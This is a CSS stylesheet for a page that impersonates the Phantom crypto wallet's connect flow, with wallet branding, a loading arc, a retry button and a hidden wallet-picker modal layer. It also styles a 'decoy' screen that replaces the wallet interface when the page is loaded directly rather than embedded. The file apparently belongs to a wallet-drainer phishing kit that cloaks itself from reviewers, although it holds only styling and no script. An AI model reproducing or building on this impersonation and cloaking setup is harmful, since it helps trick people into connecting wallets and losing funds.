@import url("https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap");

:root {
    --phantom-bg: #111111;
    --phantom-text: #ffffff;
    --phantom-subtext: #a0a0a0;
    --phantom-accent: #4e66f1;
    --phantom-accent-soft: #4e66f1;
    --phantom-icon-bg: #ab9ff2;
    --phantom-btn-bg: #202020;
    --phantom-arc: #4e66f1;
}

html.mc-decoy .phantom-app {
    display: none !important;
}

html.mc-embed .decoy-shell {
    display: none !important;
}

*,
*::before,
*::after {
    box-sizing: border-box;
}

html,
body {
    margin: 0;
    padding: 0;
    min-height: 100%;
    min-height: 100dvh;
}

body {
    font-family: Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    background: var(--phantom-bg);
}

/* ── Decoy (top-level production, no iframe) ─────────────────────────────── */

.decoy-shell {
    min-height: 100dvh;
    background: #000;
    color: #fff;
}

.decoy-shell .message,
.decoy-shell .id-container {
    position: fixed;
    display: grid;
    place-content: center;
    padding: 32px;
}

.decoy-shell .message {
    inset: 0;
    font-size: 20px;
}

.decoy-shell .title {
    text-wrap: balance;
    text-align: center;
    margin: 0;
}

.decoy-shell .id-container {
    left: 0;
    bottom: 0;
    width: 100%;
    font-size: 13px;
    color: #a1a1a1;
    margin: 0;
}

.decoy-shell code {
    font-family: Menlo, Monaco, "Courier New", monospace;
    font-size: 0.92em;
}

/* ── Phantom app ─────────────────────────────────────────────────────────── */

.phantom-app {
    min-height: 100dvh;
    background: var(--phantom-bg);
    color: var(--phantom-text);
}

.phantom-shell {
    min-height: 100dvh;
    display: flex;
    align-items: center;
    justify-content: center;
    background: var(--phantom-bg);
    color: var(--phantom-text);
    padding: 32px 20px 40px;
}

.phantom-shell[data-id="conteiner_connect"][style*="display: block"],
.phantom-shell[data-id="conteiner_connected"][style*="display: block"] {
    display: flex !important;
}

.phantom-shell__inner {
    width: 100%;
    max-width: 360px;
    display: flex;
    flex-direction: column;
    align-items: center;
    text-align: center;
    position: relative;
    isolation: isolate;
}

.phantom-shell__brand {
    margin: 0 0 32px;
    font-size: 16px;
    font-weight: 600;
    line-height: 1.2;
    letter-spacing: -0.02em;
    color: var(--phantom-text);
}

.phantom-shell__brand:empty {
    display: none;
    margin: 0;
}

.phantom-shell__icon-block {
    position: relative;
    width: 80px;
    height: 80px;
    margin-bottom: 32px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.phantom-shell__wallet-icon {
    width: 80px;
    height: 80px;
    border-radius: 22px;
    display: block;
    object-fit: cover;
    position: relative;
    z-index: 1;
}

.phantom-shell__arc {
    position: absolute;
    inset: -15px;
    pointer-events: none;
    z-index: 2;
}

.phantom-shell__arc svg {
    width: 100%;
    height: 100%;
    display: block;
    filter: drop-shadow(0 0 6px rgba(78, 102, 241, 0.55));
}

.phantom-shell__arc rect {
    fill: none;
    stroke: var(--phantom-arc);
    stroke-width: 4px;
    stroke-linecap: round;
    stroke-dasharray: 116 245;
    stroke-dashoffset: 360;
    animation: phantom-arc-dash 1s linear infinite;
}

@keyframes phantom-arc-dash {
    to {
        stroke-dashoffset: 0;
    }
}

.phantom-shell__messages {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 10px;
    margin-bottom: 32px;
    width: 100%;
}

.phantom-shell[data-id="conteiner_connect"] .phantom-shell__messages {
    margin-top: 0;
    margin-bottom: 28px;
}

.phantom-shell__title {
    margin: 0;
    font-size: 17px;
    font-weight: 600;
    line-height: 1.35;
    letter-spacing: -0.02em;
    color: var(--phantom-text);
}

.phantom-shell__subtitle {
    margin: 0;
    font-size: 14px;
    font-weight: 400;
    line-height: 1.45;
    color: var(--phantom-subtext);
}

.phantom-shell__retry {
    appearance: none;
    border: none;
    cursor: pointer;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    width: 100%;
    max-width: 100%;
    height: 44px;
    padding: 0 24px;
    border-radius: 9999px;
    background: var(--phantom-btn-bg);
    color: var(--phantom-text);
    font-family: inherit;
    font-size: 14px;
    font-weight: 600;
    line-height: 1;
    transition: background 0.15s ease, opacity 0.15s ease, transform 0.1s ease;
}

.phantom-shell__retry:hover {
    background: #2a2a2a;
}

.phantom-shell__retry:active {
    opacity: 0.9;
    transform: scale(0.98);
}

.phantom-shell__retry .spinner-container {
    width: auto;
    flex: 0 0 auto;
}

#root {
    position: fixed;
    inset: 0;
    width: 0;
    height: 0;
    overflow: hidden;
    opacity: 0;
    pointer-events: none;
    z-index: 1;
}

/* Wallet modal open — mount layer above phantom shell */
#root:has(.modal-visible),
html.mc-wallet-modal-open #root {
    opacity: 1;
    width: 100%;
    height: 100%;
    overflow: visible;
    z-index: 10001;
    pointer-events: auto;
}

#root .modal-container {
    position: fixed;
    inset: 0;
    width: 100%;
    height: 100%;
    overflow: hidden;
    pointer-events: none;
    z-index: 10000;
}

#root .modal-container.modal-visible {
    pointer-events: auto;
}

/* Hide connect shell while wallet picker is open (same copy as modal title) */
html.mc-wallet-modal-open .phantom-app {
    visibility: hidden;
}
